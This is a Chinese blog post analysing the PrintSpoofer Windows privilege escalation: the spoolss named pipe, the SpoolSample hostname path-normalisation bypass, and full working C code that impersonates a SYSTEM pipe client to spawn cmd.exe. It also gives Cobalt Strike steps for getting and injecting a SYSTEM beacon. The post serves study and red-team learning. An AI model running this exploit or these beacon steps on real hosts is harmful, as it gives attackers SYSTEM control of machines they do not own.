PrintSpoofer漏洞以及本地提权利用分析
前言:PrintSpoofer漏洞分析笔记
参考文章:https://www.cnblogs.com/zpchcbd/p/17944418
参考文章:https://www.cnblogs.com/zpchcbd/p/12924637
参考文章:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/fdf1138a-f6b9-4b00-ada6-1fbb6097d683
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b
参考文章:https://github.com/leechristensen/SpoolSample
参考文章:https://learn.microsoft.com/en-us/windows/win32/secauthz/impersonation-levels
参考文章:https://github.com/crisprss/PrintSpoofer
参考文章:https://github.com/fortra/impacket/blob/master/examples/rpcdump.py
上面两篇笔记学习了两个点
-
讲了关于RPC的客户端和服务端的编写
-
命名管道模拟客户端权限的编写
打印机Printer
服务
打印机Printer对应的服务是Print Spooler Service
,默认情况下打印服务是启用的,它管理系统中所有打印队列,并确保打印命令正确地发送到计算机连接的打印机。
进程
打印机Printer对应的进程是Spoolsv.exe
,该进程负责将用户提交的打印任务添加到打印队列中,并将其发送给相应的打印机进行处理。它还负责监控打印队列的状态,处理打印错误和通知用户打印任务的完成情况。
通过powershell执行下面的命令可以看到当前打印机服务是否在运行中,如下图所示
tasklist /svc | findstr spoolsv
知识点:这里的Spoolsv.exe
是SYSTEM进程,是一个特权进程,如下图所示
管道
打印机Printer对应的管道名为\\.\pipe\spoolss
,该管道是一个命名管道,用于在进程间传输数据。
我们如果后期和Spoolsv.exe
进程进行通信的话,都是需要跟管道\\.\pipe\spoolss
进行打交道才可以,正常是写入数据到管道中,然后Spoolsv.exe
去读取管道中的数据执行相对应的操作,这也是一种常见的IPC(Inter-Process Communication,进程间通信)方式。
协议
打印机之间通信的协议规范是基于远程过程调用 (RPC) 协议中的MS-RPRN的实现。
SpoolSample项目
参考文章:https://github.com/leechristensen/SpoolSample
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b
SpoolSample项目关键功能实现了打印机之间的通信功能,具体如何用于连接打印机,其中Windows API中的RpcRemoteFindFirstPrinterChangeNotificationEx
函数,它可以创建一个远程更改通知对象,该对象监视对打印机对象的更改,并使用RpcRouterReplyPrinter
或RpcRouterReplyPrinterEx
将更改通知发送到打印客户端。并且就是通过命名管道实现进程之间的通信。
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( [in] PRINTER_HANDLE hPrinter, [in] DWORD fdwFlags, [in] DWORD fdwOptions, [in, string, unique] wchar_t* pszLocalMachine, [in] DWORD dwPrinterLocal, [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions );
其中的pszLocalMachine参数就是我们可控的地址,这个地址的格式可以是DNS,NetBIOS,IPv4,UNC,IPv6
PrintSpoofer本地提权漏洞
按照之前的笔记关于命名管道模拟客户端权限,那么按道理来说现在只需要实现如何让具有SYSTEM权限的管道客户端进程访问我们模拟的恶意命名管道服务端就可以实现本地提权了。
而这里的Spoolsv.exe
权限是SYSTEM,并且对应的管道是\\.\pipe\spoolss
,那么让Spoolsv.exe
对模拟的管道发出连接请求即可实现。
这边的话通过SpoolSample让服务端打印机SYSTEM权限来访问我们本地客户端模拟的命名管道\\.\pipe\test
,执行如下命令,但是这边可以看到并没有受到打印机的请求
SpoolSample.exe 192.168.75.1 192.168.75.1\\pipe\test
这边通Process Monitor来进行抓取流量可以看到对应的情况,可以看到请求这边强制请求的地址是192.168.75.1\\pipe\test
,但是实际情况上还是依旧会请求192.168.75.1\\pipe\spoolss
而这边的话本地本身是存在spoolss
的,如果再指定spoolss
命名管道创建的话是存在创建失败的情况,如下图所示
Server Names路径解析绕过
而漏洞作者这边的话发现该UNC的格式是可以进行绕过的,如果主机名包含/,它将通过路径检验,但是在计算要连接的命名管道的路径时,规范化会将其转换为\
,比如我们这边执行下面的命令
SpoolSample.exe 192.168.75.1 192.168.75.1/test
可以看到,此时/test
自动转换为了\test
,然后再后面添加上了\test\pipe\spoolss
那么这里的创建对应的管道定义就是\\.\pipe\test\pipe\spoolss
的管道路径我们是可以正常创建的,如下图所示
hPipe = CreateNamedPipe(L"\\\\.\\pipe\\test\\pipe\\spoolss", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
接着SpoolSample执行命令连接管道\\.\pipe\test\pipe\spoolss
,如下图所示
SpoolSample.exe 192.168.75.1 192.168.75.1/pipe/test
main.c
#include<stdio.h> #include<windows.h> #include<sddl.h> int wmain(int argc, wchar_t* argv[]) { HANDLE hPipe = NULL; HANDLE tokenHandle = NULL; HANDLE newtokenHandle = NULL; STARTUPINFO startupInfo; startupInfo.cb = sizeof(STARTUPINFO); PROCESS_INFORMATION processInformation; wchar_t recv_buf[1024] = { 0 }; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); hPipe = CreateNamedPipe(argv[1], PIPE_ACCESS_DUPLEX, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf("[!] CreateNamedPipe Failed %d\n", GetLastError()); return -1; } printf("[+] CreateNamedPipe Successfully\n"); //服务端在这里会进行堵塞,等待客户端进行连接 if (ConnectNamedPipe(hPipe, NULL)) { printf("[+] ConnectNamedPipe Successfully\n"); if (ImpersonateNamedPipeClient(hPipe) == 0) { printf("[!] Error impersonating client %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] ImpersonateNamedPipeClient Successfully\n"); if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) { printf("[!] Error opening thread token %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] OpenThreadToken Successfully\n"); if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) { printf("[!] Error duplicating thread token %d\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] DuplicateTokenEx Successfully\n"); if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) { printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError()); CloseHandle(hPipe); return -1; } printf("[+] CreateProcessWithTokenW Successfully\n"); CloseHandle(hPipe); } return 0; }
为什么客户端不需要权限就可以访问服务端的spoolss管道
参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/fdf1138a-f6b9-4b00-ada6-1fbb6097d683
武器化实现
参考文章:https://github.com/crisprss/PrintSpoofer
将其转换为rdi反射注入的形式,这边通过mssqlserver服务账号来启动一个beacon,如下图所示
执行elevate PrintSpoofer
,选择对应的监听器进行上线,如下图所示
当前你会发现虽然拿到了一个system权限的beacon,因为是以rdi反射注入的形式,可能还是存在安全上下文的关系导致无法执行高权限操作,这边的话测试可以通过通过注入其他高权限进程然后执行高权限操作,这边的话注入一个高权限的pid进程,如下图所示
inject 3728 x64 https
然后再拿到一个新的system会话,这个时候再执行高权限操作即可,如下图所示
实战中如何检测对方主机中是否运行打印机服务
参考文章:https://github.com/fortra/impacket/blob/master/examples/rpcdump.py
参考文章:https://github.com/xpn/RpcEnum
参考文章:https://github.com/csandker/RPCDump
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY